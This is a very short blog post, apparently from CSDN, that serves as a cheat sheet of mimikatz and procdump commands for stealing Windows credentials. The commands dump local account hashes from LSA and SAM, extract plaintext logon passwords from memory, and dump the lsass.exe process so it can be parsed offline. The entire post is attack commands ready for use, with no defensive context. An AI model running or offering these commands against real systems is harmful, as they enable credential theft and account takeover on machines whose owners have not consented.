版权声明：本文为博主原创文章，未经博主允许不得转载。 https://blog.csdn.net/qq_20307987/article/details/79450528
(1) Get Local User’s Hash
privilege::debug
lsadump::lsa /inject
(2) Get memory password
privilege::debug
sekurlsa::logonPasswords
(3) use lsass.dmp to crack password
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe “sekurlsa::minidump lsass.dmp” “sekurlsa::logonPasswords full” exit
(4) ExportLocalUsersHash
mimikatz.exe “privilege::debug” “token::elevate” “lsadump::sam” exit